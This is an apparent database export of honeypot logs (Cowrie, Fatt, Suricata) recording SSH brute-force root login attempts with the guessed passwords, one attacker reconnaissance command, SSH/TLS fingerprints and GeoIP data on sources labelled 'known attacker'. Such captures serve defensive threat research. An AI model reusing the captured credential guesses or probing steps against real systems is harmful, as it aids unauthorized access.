"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
32231	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:50:29.015352+03	2021-09-20 15:00:03.211716+03	{"_id": "WAYLA3wBvYTbRNuEE0mB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "513e309a9be5", "@version": "1", "duration": 2.7644004821777344, "timestamp": "2021-09-20T11:50:29.015352Z", "@timestamp": "2021-09-20T11:50:29.015Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32232	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:30.882496+03	2021-09-20 15:00:03.212747+03	{"_id": "WQYLA3wBvYTbRNuEF0lq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/6666] failed", "session": "159622aa9446", "@version": "1", "password": "6666", "username": "root", "timestamp": "2021-09-20T11:50:30.882496Z", "@timestamp": "2021-09-20T11:50:30.882Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32233	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:50:32.166785+03	2021-09-20 15:00:03.213748+03	{"_id": "YgYLA3wBvYTbRNuEH0k7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/666777] failed", "session": "159622aa9446", "@version": "1", "password": "666777", "username": "root", "timestamp": "2021-09-20T11:50:32.166785Z", "@timestamp": "2021-09-20T11:50:32.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32234	113.105.80.34	109.199.241.180	Cowrie	2021-09-20 14:50:26.251281+03	2021-09-20 15:00:03.214749+03	{"_id": "NwYLA3wBvYTbRNuEB0nH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.105.80.34", "asn": 4816, "as_org": "China Telecom (Group)", "latitude": 23.1167, "location": {"lat": 23.1167, "lon": 113.25}, "timezone": "Asia/Shanghai", "longitude": 113.25, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.105.80.34", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "513e309a9be5", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:50:26.251281Z", "@timestamp": "2021-09-20T11:50:26.251Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
32235	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:26.25658+03	2021-09-20 15:00:03.216749+03	{"_id": "OQYLA3wBvYTbRNuEB0nH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "107.173.209.238", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.6294543743133545, "duplicate": true, "timestamp": "2021-09-20T11:50:26.256580Z", "@timestamp": "2021-09-20T11:50:26.256Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32236	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:27.073175+03	2021-09-20 15:00:03.217749+03	{"_id": "QgYLA3wBvYTbRNuEC0mw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "lscpu | grep Model", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.command.input", "message": "CMD: lscpu | grep Model", "session": "78144d271630", "@version": "1", "timestamp": "2021-09-20T11:50:27.073175Z", "@timestamp": "2021-09-20T11:50:27.073Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32237	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 14:50:36.83992+03	2021-09-20 15:00:03.218747+03	{"_id": "gwYLA3wBvYTbRNuELkne", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "107.173.209.238", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "78144d271630", "@version": "1", "duration": 0.7887983322143555, "duplicate": true, "timestamp": "2021-09-20T11:50:36.839920Z", "@timestamp": "2021-09-20T11:50:36.839Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
32238	218.92.0.190	109.199.241.180	Fatt	2021-09-20 14:49:47.558639+03	2021-09-20 15:00:03.220746+03	{"_id": "WwYKA3wBvYTbRNuEcUjj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "218.92.0.190", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 21953, "dest_port": 22, "timestamp": "2021-09-20T11:49:47.558639", "@timestamp": "2021-09-20T11:49:47.558Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32239	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:49:48.898118+03	2021-09-20 15:00:03.221747+03	{"_id": "ZAYKA3wBvYTbRNuEdEjH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:49:48.433376+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 656217137257696, "payload": "AAADzAYU+JcI5R6daSWyOCDkh2QtEQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 2373, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:49:48.898118Z", "@timestamp": "2021-09-20T11:49:48.898Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............i%.8 ..d-....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	\N
32240	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:48.671098+03	2021-09-20 15:00:03.222748+03	{"_id": "ZQYKA3wBvYTbRNuEdUjM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2373, "timestamp": "2021-09-20T11:49:48.671098", "@timestamp": "2021-09-20T11:49:48.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
32241	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:49:48.898328+03	2021-09-20 15:00:03.224717+03	{"_id": "bQYKA3wBvYTbRNuEd0gm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "4e021f97b301", "@version": "1", "timestamp": "2021-09-20T11:49:48.898328Z", "@timestamp": "2021-09-20T11:49:48.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
32242	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:49:48.978266+03	2021-09-20 15:00:03.225716+03	{"_id": "bAYKA3wBvYTbRNuEd0gm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "f1be23cc04d4", "@version": "1", "duration": 2.9042205810546875, "timestamp": "2021-09-20T11:49:48.978266Z", "@timestamp": "2021-09-20T11:49:48.978Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32243	218.92.0.190	109.199.241.180	Cowrie	2021-09-20 14:49:48.998776+03	2021-09-20 15:00:03.226716+03	{"_id": "bgYKA3wBvYTbRNuEd0gm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "218.92.0.190", "asn": 4134, "as_org": "Chinanet", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "218.92.0.190", "eventid": "cowrie.login.failed", "message": "login attempt [root/5tgb%TGB] failed", "session": "beda5f4e499a", "@version": "1", "password": "5tgb%TGB", "username": "root", "timestamp": "2021-09-20T11:49:48.998776Z", "@timestamp": "2021-09-20T11:49:48.998Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
32244	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:49:50.136107+03	2021-09-20 15:00:03.227716+03	{"_id": "bwYKA3wBvYTbRNuEeEiv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 11874, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1050050606011307, "@version": "1", "in_iface": "enp5s0", "src_port": 33998, "dest_port": 53, "timestamp": "2021-09-20T11:49:50.136107Z", "@timestamp": "2021-09-20T11:49:50.136Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
32245	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:49:50.189148+03	2021-09-20 15:00:03.228716+03	{"_id": "dQYKA3wBvYTbRNuEeUi1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 35728, "dest_port": 443, "timestamp": "2021-09-20T11:49:50.189148", "@timestamp": "2021-09-20T11:49:50.189Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
32246	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:49:50.228893+03	2021-09-20 15:00:03.230716+03	{"_id": "dgYKA3wBvYTbRNuEeUi1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 35728, "timestamp": "2021-09-20T11:49:50.228893", "@timestamp": "2021-09-20T11:49:50.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
